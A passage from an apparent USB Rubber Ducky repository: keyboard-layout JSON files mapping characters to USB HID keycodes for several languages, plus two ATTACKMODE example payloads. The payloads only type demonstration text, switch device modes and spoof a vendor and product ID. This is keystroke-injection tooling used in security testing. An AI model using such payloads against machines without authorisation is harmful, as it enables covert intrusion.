"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"@":"40,00,1f",
"$":"40,00,21",
"{":"40,00,24",
"[":"40,00,25",
"]":"40,00,26",
"}":"40,00,27",
"~":"40,00,30",
"COMMAND-CTRL-SHIFT":"40,00,30",
"COMMAND-CTRL":"40,00,30",
"COMMAND-OPTION-SHIFT'":"40,00,30"
}
================================================
FILE: languages/pt.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"'":"00,00,2d",
"+":"00,00,2f",
"~":"00,00,32",
"\\":"00,00,35",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"#":"02,00,20",
"$":"02,00,21",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"*":"02,00,2f",
"`":"02,00,30",
"^":"02,00,32",
"|":"02,00,35",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"@":"40,00,1f",
"{":"40,00,24",
"[":"40,00,25",
"]":"40,00,26",
"}":"40,00,27",
"COMMAND-CTRL-SHIFT":"40,00,27",
"COMMAND-CTRL":"40,00,27",
"COMMAND-OPTION-SHIFT'":"40,00,27"
}
================================================
FILE: languages/se.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"+":"00,00,2d",
"'":"00,00,31",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"#":"02,00,20",
"~":"02,00,20",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"`":"02,00,2e",
"^":"02,00,30",
"*":"02,00,31",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"@":"40,00,1f",
"$":"40,00,21",
"{":"40,00,24",
"[":"40,00,25",
"]":"40,00,26",
"}":"40,00,27",
"\\":"40,00,2d",
"|":"40,00,64",
"COMMAND-CTRL-SHIFT":"40,00,64",
"COMMAND-CTRL":"40,00,64",
"COMMAND-OPTION-SHIFT'":"40,00,64"
}
================================================
FILE: languages/si.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"z":"00,00,1c",
"y":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"'":"00,00,2d",
"+":"00,00,2e",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Z":"02,00,1c",
"Y":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"#":"02,00,20",
"$":"02,00,21",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"*":"02,00,2e",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"{":"40,00,05",
"[":"40,00,09",
"]":"40,00,0a",
"}":"40,00,11",
"\\":"40,00,14",
"@":"40,00,19",
"|":"40,00,1a",
"~":"40,00,1e",
"^":"40,00,20",
"`":"40,00,24",
"COMMAND-CTRL-SHIFT":"40,00,24",
"COMMAND-CTRL":"40,00,24",
"COMMAND-OPTION-SHIFT'":"40,00,24"
}
================================================
FILE: languages/sk.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":" Slovak QWERTZ version made by Andrej Šimko",
"__comment":" Note that some special characters use leftCtrl+leftAlt+[key]",
"__comment":" Special Slovak characters like ľščťžýáíéúäô are not included",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"z":"00,00,1c",
"y":"00,00,1d",
"+":"00,00,1e",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"CTRL-ALT":"05,00,00",
"=":"00,00,2d",
";":"00,00,35",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Z":"02,00,1c",
"Y":"02,00,1d",
"1":"02,00,1e",
"2":"02,00,1f",
"3":"02,00,20",
"4":"02,00,21",
"5":"02,00,22",
"6":"02,00,23",
"7":"02,00,24",
"8":"02,00,25",
"9":"02,00,26",
"0":"02,00,27",
"\\":"05,00,14",
"%":"02,00,2d",
"/":"02,00,2f",
"(":"02,00,30",
"'":"05,00,13",
")":"02,00,31",
"\"":"02,00,33",
"!":"02,00,34",
"?":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
"|":"05,00,1a",
"#":"05,00,1b",
"&":"05,00,06",
"@":"05,00,19",
"$":"05,00,33",
"*":"05,00,38",
"{":"05,00,05",
"}":"05,00,11",
"[":"05,00,09",
"]":"05,00,0a",
"~":"05,00,1e",
"^":"05,00,20",
"<":"05,00,36",
">":"05,00,37",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"COMMAND-CTRL-SHIFT":"12,00,00",
"COMMAND-CTRL":"12,00,00",
"COMMAND-OPTION-SHIFT'":"12,00,00"
}
================================================
FILE: languages/tr.json
================================================
{
"__comment": "All numbers here are in hex format and 0x is ignored.",
"__comment": " ",
"__comment": "This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment": " See section 10 Keyboard/Keypad Page (0x07)",
"__comment": " of document USB HID Usage Tables Version 1.12.",
"__comment": " ",
"__comment": "Definition of these 3 bytes can be found",
"__comment": " in section B.1 Protocol 1 (Keyboard)",
"__comment": " of document Device Class Definition for HID Version 1.11",
"__comment": " - byte 1: Modifier keys",
"__comment": " - byte 2: Reserved",
"__comment": " - byte 3: Keycode 1",
"__comment": " ",
"__comment": "Both documents can be obtained from link here",
"__comment": " http://www.usb.org/developers/hidpage/",
"__comment": " ",
"__comment": "A = LeftShift + a, { = LeftShift + [",
"__comment": " ",
"CTRL": "01,00,00",
"CONTROL": "01,00,00",
"SHIFT": "02,00,00",
"ALT": "04,00,00",
"GUI": "08,00,00",
"WINDOWS": "08,00,00",
"CTRL-ALT": "05,00,00",
"CTRL-SHIFT": "03,00,00",
"ALT-SHIFT": "06,00,00",
"__comment": "Below 5 key combinations are for Mac OSX",
"__comment": "Example: (COMMAND-OPTION SHIFT t) to open terminal",
"COMMAND": "08,00,00",
"COMMAND-CTRL": "09,00,00",
"COMMAND-CTRL-SHIFT": "0B,00,00",
"COMMAND-OPTION": "0C,00,00",
"COMMAND-OPTION-SHIFT": "0E,00,00",
"a": "00,00,04",
"A": "02,00,04",
"b": "00,00,05",
"B": "02,00,05",
"c": "00,00,06",
"C": "02,00,06",
"d": "00,00,07",
"D": "02,00,07",
"e": "00,00,08",
"E": "02,00,08",
"f": "00,00,09",
"F": "02,00,09",
"g": "00,00,0a",
"G": "02,00,0a",
"h": "00,00,0b",
"H": "02,00,0b",
"i": "00,00,34",
"I": "02,00,0c",
"j": "00,00,0d",
"J": "02,00,0d",
"k": "00,00,0e",
"K": "02,00,0e",
"l": "00,00,0f",
"L": "02,00,0f",
"m": "00,00,10",
"M": "02,00,10",
"n": "00,00,11",
"N": "02,00,11",
"o": "00,00,12",
"O": "02,00,12",
"p": "00,00,13",
"P": "02,00,13",
"q": "00,00,14",
"Q": "02,00,14",
"r": "00,00,15",
"R": "02,00,15",
"s": "00,00,16",
"S": "02,00,16",
"t": "00,00,17",
"T": "02,00,17",
"u": "00,00,18",
"U": "02,00,18",
"v": "00,00,19",
"V": "02,00,19",
"w": "00,00,1a",
"W": "02,00,1a",
"x": "00,00,1b",
"X": "02,00,1b",
"y": "00,00,1c",
"Y": "02,00,1c",
"z": "00,00,1d",
"Z": "02,00,1d",
"1": "00,00,1e",
"!": "02,00,1e",
"2": "00,00,1f",
"@": "40,00,14",
"3": "00,00,20",
"#": "40,00,20",
"4": "00,00,21",
"$": "40,00,21",
"5": "00,00,22",
"%": "02,00,22",
"6": "00,00,23",
"^": "02,00,20",
"7": "00,00,24",
"&": "02,00,23",
"8": "00,00,25",
"*": "00,00,2d",
"9": "00,00,26",
"(": "02,00,25",
"0": "00,00,27",
")": "02,00,26",
"ENTER": "00,00,28",
"ESC": "00,00,29",
"ESCAPE": "00,00,29",
"BACKSPACE": "00,00,2a",
"TAB": "00,00,2b",
"ALT-TAB": "04,00,2b",
"SPACE": "00,00,2c",
" ": "00,00,2c",
"-": "00,00,2e",
"_": "02,00,2e",
"=": "02,00,27",
"+": "02,00,21",
"[": "40,00,25",
"{": "40,00,24",
"]": "40,00,26",
"}": "40,00,27",
"\\": "40,00,2d",
"|": "40,00,2e",
";": "02,00,31",
":": "02,00,38",
"'": "02,00,1f",
"\"": "00,00,35",
"`": "40,00,31",
"~": "40,00,30",
",": "00,00,31",
"<": "40,00,35",
".": "00,00,38",
">": "40,00,1e",
"/": "02,00,24",
"?": "02,00,2d",
"CAPSLOCK": "00,00,39",
"F1": "00,00,3a",
"F2": "00,00,3b",
"F3": "00,00,3c",
"F4": "00,00,3d",
"F5": "00,00,3e",
"F6": "00,00,3f",
"F7": "00,00,40",
"F8": "00,00,41",
"F9": "00,00,42",
"F10": "00,00,43",
"F11": "00,00,44",
"F12": "00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK": "00,00,47",
"PAUSE": "00,00,48",
"BREAK": "00,00,48",
"INSERT": "00,00,49",
"HOME": "00,00,4a",
"PAGEUP": "00,00,4b",
"DELETE": "00,00,4c",
"DEL": "00,00,4c",
"END": "00,00,4d",
"PAGEDOWN": "00,00,4e",
"RIGHTARROW": "00,00,4f",
"RIGHT": "00,00,4f",
"LEFTARROW": "00,00,50",
"LEFT": "00,00,50",
"DOWNARROW": "00,00,51",
"DOWN": "00,00,51",
"UPARROW": "00,00,52",
"UP": "00,00,52",
"NUMLOCK": "00,00,53",
"MENU": "00,00,65",
"APP": "00,00,65"
}
================================================
FILE: languages/us.json
================================================
{
"__comment": "All numbers here are in hex format and 0x is ignored.",
"__comment": " ",
"__comment": "This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment": " See section 10 Keyboard/Keypad Page (0x07)",
"__comment": " of document USB HID Usage Tables Version 1.12.",
"__comment": " ",
"__comment": "Definition of these 3 bytes can be found",
"__comment": " in section B.1 Protocol 1 (Keyboard)",
"__comment": " of document Device Class Definition for HID Version 1.11",
"__comment": " - byte 1: Modifier keys",
"__comment": " - byte 2: Reserved",
"__comment": " - byte 3: Keycode 1",
"__comment": " ",
"__comment": "Both documents can be obtained from link here",
"__comment": " http://www.usb.org/developers/hidpage/",
"__comment": " ",
"__comment": "A = LeftShift + a, { = LeftShift + [",
"__comment": " ",
"0": "00,00,27",
"1": "00,00,1e",
"2": "00,00,1f",
"3": "00,00,20",
"4": "00,00,21",
"5": "00,00,22",
"6": "00,00,23",
"7": "00,00,24",
"8": "00,00,25",
"9": "00,00,26",
"CTRL": "01,00,00",
"CONTROL": "01,00,00",
"SHIFT": "02,00,00",
"ALT": "04,00,00",
"GUI": "08,00,00",
"WINDOWS": "08,00,00",
"COMMAND": "08,00,00",
"a": "00,00,04",
"A": "02,00,04",
"b": "00,00,05",
"B": "02,00,05",
"c": "00,00,06",
"C": "02,00,06",
"d": "00,00,07",
"D": "02,00,07",
"e": "00,00,08",
"E": "02,00,08",
"f": "00,00,09",
"F": "02,00,09",
"g": "00,00,0a",
"G": "02,00,0a",
"h": "00,00,0b",
"H": "02,00,0b",
"i": "00,00,0c",
"I": "02,00,0c",
"j": "00,00,0d",
"J": "02,00,0d",
"k": "00,00,0e",
"K": "02,00,0e",
"l": "00,00,0f",
"L": "02,00,0f",
"m": "00,00,10",
"M": "02,00,10",
"n": "00,00,11",
"N": "02,00,11",
"o": "00,00,12",
"O": "02,00,12",
"p": "00,00,13",
"P": "02,00,13",
"q": "00,00,14",
"Q": "02,00,14",
"r": "00,00,15",
"R": "02,00,15",
"s": "00,00,16",
"S": "02,00,16",
"t": "00,00,17",
"T": "02,00,17",
"u": "00,00,18",
"U": "02,00,18",
"v": "00,00,19",
"V": "02,00,19",
"w": "00,00,1a",
"W": "02,00,1a",
"x": "00,00,1b",
"X": "02,00,1b",
"y": "00,00,1c",
"Y": "02,00,1c",
"z": "00,00,1d",
"Z": "02,00,1d",
"!": "02,00,1e",
"@": "02,00,1f",
"#": "02,00,20",
"$": "02,00,21",
"%": "02,00,22",
"^": "02,00,23",
"&": "02,00,24",
"*": "02,00,25",
"(": "02,00,26",
")": "02,00,27",
"ENTER": "00,00,28",
"ESC": "00,00,29",
"ESCAPE": "00,00,29",
"BACKSPACE": "00,00,2a",
"TAB": "00,00,2b",
"SPACE": "00,00,2c",
" ": "00,00,2c",
"-": "00,00,2d",
"_": "02,00,2d",
"=": "00,00,2e",
"+": "02,00,2e",
"[": "00,00,2f",
"{": "02,00,2f",
"]": "00,00,30",
"}": "02,00,30",
"\\": "00,00,31",
"|": "02,00,31",
";": "00,00,33",
":": "02,00,33",
"'": "00,00,34",
"\"": "02,00,34",
"`": "00,00,35",
"~": "02,00,35",
",": "00,00,36",
"<": "02,00,36",
".": "00,00,37",
">": "02,00,37",
"/": "00,00,38",
"?": "02,00,38",
"CAPSLOCK": "00,00,39",
"F1": "00,00,3a",
"F2": "00,00,3b",
"F3": "00,00,3c",
"F4": "00,00,3d",
"F5": "00,00,3e",
"F6": "00,00,3f",
"F7": "00,00,40",
"F8": "00,00,41",
"F9": "00,00,42",
"F10": "00,00,43",
"F11": "00,00,44",
"F12": "00,00,45",
"PRINTSCREEN": "00,00,46",
"SCROLLLOCK": "00,00,47",
"PAUSE": "00,00,48",
"BREAK": "00,00,48",
"INSERT": "00,00,49",
"HOME": "00,00,4a",
"PAGEUP": "00,00,4b",
"DELETE": "00,00,4c",
"DEL": "00,00,4c",
"END": "00,00,4d",
"PAGEDOWN": "00,00,4e",
"RIGHTARROW": "00,00,4f",
"RIGHT": "00,00,4f",
"LEFTARROW": "00,00,50",
"LEFT": "00,00,50",
"DOWNARROW": "00,00,51",
"DOWN": "00,00,51",
"UPARROW": "00,00,52",
"UP": "00,00,52",
"NUMLOCK": "00,00,53",
"MENU": "00,00,65",
"APP": "00,00,65"
}
================================================
FILE: payloads/examples/ATTACKMODE/ATTACKMODE-example1.txt
================================================
REM The ATTACKMODE command may be used multiple times throughout a payload.
REM Changing the attack mode will cause the target to re-enumerate the device.
ATTACKMODE HID
DELAY 2000
STRINGLN The USB Rubber Ducky is functioning as a keyboard.
STRINGLN It will function as a flash drive for the next 30 seconds.
ATTACKMODE STORAGE
DELAY 30000
ATTACKMODE HID
DELAY 2000
STRINGLN Now the USB Rubber Ducky is back to functioning as only a keyboard.
STRINGLN For the next 30 seconds it will function as both keyboard and storage.
ATTACKMODE HID STORAGE
DELAY 30000
STRINGLN Now the USB Rubber Ducky will disable itself.
ATTACKMODE OFF
REM This payload will begin by enumerating as a HID keyboard.
REM The USB Rubber Ducky will then enumerate as a mass storage "flash drive" for 30 seconds.
REM Once more it will be enumerated as only a HID keyboard.
REM Next it will enumerate as both a HID keyboard and a mass storage "flash drive".
REM Finally, the device will seem to be disconnected.
================================================
FILE: payloads/examples/ATTACKMODE/ATTACKMODE-example2.txt
================================================
REM Within a payload the ATTACKMODE command may be executed multiple times.
REM In some situations it can be useful to "remember" an ATTACKMODE state, for later recall.
REM The SAVE_ATTACKMODE command will save the currently running ATTACKMODE state (including any specified VID, PID, MAN, PROD and SERIAL parameters) such that it may be later restored.
REM The RESTORE_ATTACKMODE command will restore a previously saved ATTACKMODE state.
ATTACKMODE HID STORAGE VID_05AC PID_021E MAN_HAK5 PROD_DUCKY SERIAL_1337
BUTTON_DEF
RESTORE_ATTACKMODE
STRINGLN The ATTACKMODE has been restored.
END_BUTTON
STRING The USB Rubber Ducky is now in
STRINGLN an ATTACKMODE HID STORAGE.
SAVE_ATTACKMODE
STRINGLN This state has been saved.
STRINGLN Now entering ATTACKMODE OFF...
STRING Press the button to restore
STRINGLN the ATTACKMODE.
